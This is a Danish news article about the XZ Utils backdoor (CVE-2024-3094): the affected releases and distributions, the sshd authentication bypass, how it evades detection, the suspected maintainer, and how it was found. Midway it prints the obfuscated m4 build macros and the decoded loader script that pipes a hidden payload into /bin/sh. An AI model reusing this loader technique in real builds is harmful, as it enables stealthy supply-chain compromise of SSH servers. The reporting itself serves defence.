I pakken XZ Utils, som inkluderer bibliotektet liblzma og værktøjer til arbejde med komprimerede data i " .xz " format, er der opdaget en bagdør (CVE-2024-3094), der tillader intercepting og ændring af data, der behandles af applikationer relateret til bibliotektet liblzma. Hovedformålet med bagdøren er OpenSSH-serveren, som i nogle distributioner er forbundet med bibliotektet libsystemd, som igen bruger liblzma. Bindingen af sshd til det sårbare bibliotek gør det muligt for angribere at få adgang til SSH-serveren uden godkendelse.
Bagdøren var til stede i de officielle udgivelser 5.6.0 og 5.6.1, offentliggjort den 24. februar og 9. marts, som nåede at blive en del af nogle distributioner og repositories, såsom Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide og 40-beta, openSUSE factory og tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Alle brugere af xz versionerne 5.6.0 og 5.6.1 anbefales hurtigt at rulle tilbage til version 5.4.6.
Af de faktorer, der mildner problemet, kan nævnes, at versionen af liblzma med bagdøren ikke nåede at blive en del af stabile udgivelser af større distributioner, men berørte openSUSE Tumbleweed og Fedora 40-beta. Arch Linux og Gentoo anvendte den sårbare version af zx, men er ikke udsat for angrebet, da de ikke anvender patchen til OpenSSH for at støtte systemd-notify, som fører til bindingen af sshd til liblzma. Bagdøren påvirker kun x86_64-systemer baseret på Linux-kernen og C-biblioteket Glibc.
Koden til at aktivere bagdøren blev skjult i m4-makroer fra filen build-to-host.m4, der blev brugt af værktøjet automake under opbygningen. Under opbygningen, gennem udførelsen af komplicerede obfuskerede operationer baseret på arkiver (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), der blev anvendt til at teste funktionaliteten, blev der genereret en objektfil med skadelig kode, som blev inkluderet i bibliotektet liblzma og ændrede logikken i nogle af dens funktioner. De aktiverende m4-makroer af bagdøren var en del af tar-arkiverne for udgivelserne, men manglede i Git-repositoryet. På samme tid var de skadelige testarkiver til stede i repositoryet, dvs. den, der indførte bagdøren, havde adgang til både repositoryet og processen for dannelse af udgivelser.
Når liblzma bruges i applikationer, kan ondsindede ændringer anvendes til at opfange eller ændre data og påvirke funktionaliteten af sshd. Specifikt erstattede ondsindet kode funktionen RSA_public_decrypt for at omgå autentificeringsprocessen i sshd. Bagdøren inkluderede beskyttelse mod opdagelse og viste sig ikke, når miljøvariablerne LANG og TERM var indstillet (dvs. ved kørsel af processen i terminalen) og ikke-indstillede miljøvariablerne LD_DEBUG og LD_PROFILE, samt blev aktiveret kun ved udførelse af den eksekverbare fil /usr/sbin/sshd. Bagdøren indeholdt også midler til at opdage, at den kørte i fejlsøgningsmiljøer.
Specifikt brugte filen m4/build-to-host.m4 konstruktioner gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
I den første konstruktion fandt grep operationen filen tests/files/bad-3-corrupt_lzma2.xz, hvis udpakning dannede et script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=«../../$srcdir» fi export i=«((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Hvordan angribere har formået at få adgang til infrastrukturen af projektet xz, er ikke helt klarlagt endnu. Det er heller ikke klart, hvor mange brugere og projekter der er blevet kompromitteret som følge af backdoorens aktiviteter. Den formodede forfatter af backdoor (JiaT75 — Jia Tan), der har uploadet arkiver med skadelig kode til repository, har kommunikeret med udviklerne af Fedora og sendt pull-requests til Debian vedrørende overgangen af distributioner til version xz 5.6.0 og har ikke vakt mistanke, da han har deltaget i udviklingen af xz i de sidste to år og er den næstbedste udvikler baseret på antallet af ændringer. Udover projektet xz har den formodede forfatter af backdoor også været involveret i udviklingen af pakkerne xz-java og xz-embedded. Desuden blev Jia Tan for nogle dage siden inkluderet blandt vedligeholdere af projektet XZ Embedded, der anvendes i Linux-kernen.
Den skadelige ændring blev identificeret efter analyse af overdreven CPU-forbrug og fejl rapporteret af valgrind, når der forbindes via ssh til systemer baseret på Debian sid. Det er bemærkelsesværdigt, at ændringer vedtaget af den formodede forfatter af backdoor blev inkluderet i versionen xz 5.6.1 som svar på klager om nedsat ydeevne og nedbrud af sshd, der opstod efter opdateringen til version zx 5.6.0 med backdoor. Derudover foretog Jia Tan ændringer sidste år, der var inkompatible med 'fsanitize=address'-kontroltilstand, hvilket førte til at denne blev deaktiveret under fuzzing-testning.
Kilde: opennet.ru
